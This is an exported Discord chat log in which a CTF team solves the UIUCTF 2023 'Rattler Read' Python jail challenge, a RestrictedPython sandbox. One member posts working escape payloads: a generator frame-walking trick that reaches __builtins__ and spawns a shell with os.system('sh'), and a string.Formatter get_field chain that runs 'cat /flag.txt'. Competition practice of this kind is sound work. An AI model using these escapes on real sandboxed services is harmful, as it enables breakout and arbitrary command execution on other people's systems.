Guild icon
Project Sekai
🔒 UIUCTF 2023 / ✅-pwn-rattler-read
Avatar
Sutx BOT 06/30/2023 9:05 PM
Rattler Read - 500 points
Category: Pwn Description: All these poisonous snakes keep biting me. Good think I remembered to bring restrictedpython to keep me safe! $ nc rattler-read.chal.uiuc.tf 1337 author: Pete Stenger Files:Tags: jail, medium
06/30/2023 9:05 PM
Sutx pinned a message to this channel. 06/30/2023 9:05 PM
Avatar
Sutx BOT 06/30/2023 9:37 PM
@unpickled admin bot wants to collaborate 🤝
Avatar
unpickled admin bot 06/30/2023 9:37 PM
PYJAIL
21:37
anyways i got a locally working payload (edited)
21:37
asking admins why bugged on remote
21:40
version discrepancies
21:40
ok
21:42
ok just gotta install pythin 3.8
21:45
quick someone SE the admins to move to python 3.10 for the restricted py bug to work thanks (edited)
Avatar
sahuang 06/30/2023 9:47 PM
oh pyjail
21:47
not pwn?
Avatar
Avatar
sahuang
not pwn?
unpickled admin bot 06/30/2023 9:47 PM
there is potential for pwn
21:48
like a functools.partial bug, but maybe with enumerate?
21:48
but ive never heard of such a bug
Avatar
sahuang 06/30/2023 9:48 PM
why they give handout then main.py twice?
21:48
are they the same?
Avatar
Avatar
unpickled admin bot
there is potential for pwn
sahuang 06/30/2023 9:49 PM
looks like just jail
Avatar
Avatar
sahuang
are they the same?
unpickled admin bot 06/30/2023 9:49 PM
ye
21:49
idk
21:51
python3.8 is a
21:51
very specific version
21:55
no _apply_
21:55
so python3.8 is no go for generator stack frames i think (edited)
21:57
actually
21:57
maybe not?
21:59
q = (q.gi_frame.f_back.f_back for _ in (1,)); print([x for x in q][0].f_builtins) works
21:59
but
21:59
no good builtins?
22:00
q = (q.gi_frame.f_back.f_back.f_back for _ in (1,)); print([x for x in q][0].f_builtins) got it
22:01
q = (q.gi_frame.f_back.f_back.f_back for _ in (1,)); print([x for x in q][0].f_builtins['__import__']('os').system('sh'))
22:01
uiuctf{damn_1_8te_my_ta1l_ag41n}
22:01
EASY
Avatar
Avatar
unpickled admin bot
used /ctf solve
Sutx BOT 06/30/2023 10:01 PM
✅ Challenge solved.
Avatar
sahuang 06/30/2023 10:01 PM
strong
Avatar
unpickled admin bot 06/30/2023 10:01 PM
im suprised tbg didnt get this
22:01
he has the payload
22:01
literally
22:01
it was our builtins 2 unintended
22:02
with one more fback
Avatar
sahuang 06/30/2023 10:02 PM
its 4 am for him i think
22:02
or 5am
Avatar
unpickled admin bot 06/30/2023 10:02 PM
o
22:02
/mnt/ain will prob get it
Avatar
sahuang 06/30/2023 10:02 PM
its marked medium maybe will have more solves ig
22:02
crazyman maybe get it
22:02
lmao
Avatar
Avatar
sahuang
its marked medium maybe will have more solves ig
unpickled admin bot 06/30/2023 10:06 PM
true
Avatar
Avatar
sahuang
crazyman maybe get it
unpickled admin bot 06/30/2023 10:07 PM
crazyman strong
Avatar
unpickled admin bot 06/30/2023 10:29 PM
print(string.Formatter().get_field("0._os", [random], kwargs={})[0].system("cat /flag.txt")) intended
22:29
huh
22:29
ill break that payload down later lol
Avatar
unpickled admin bot 07/01/2023 12:56 AM
gonna post this here cuz funny
Image attachment
Exported 53 message(s)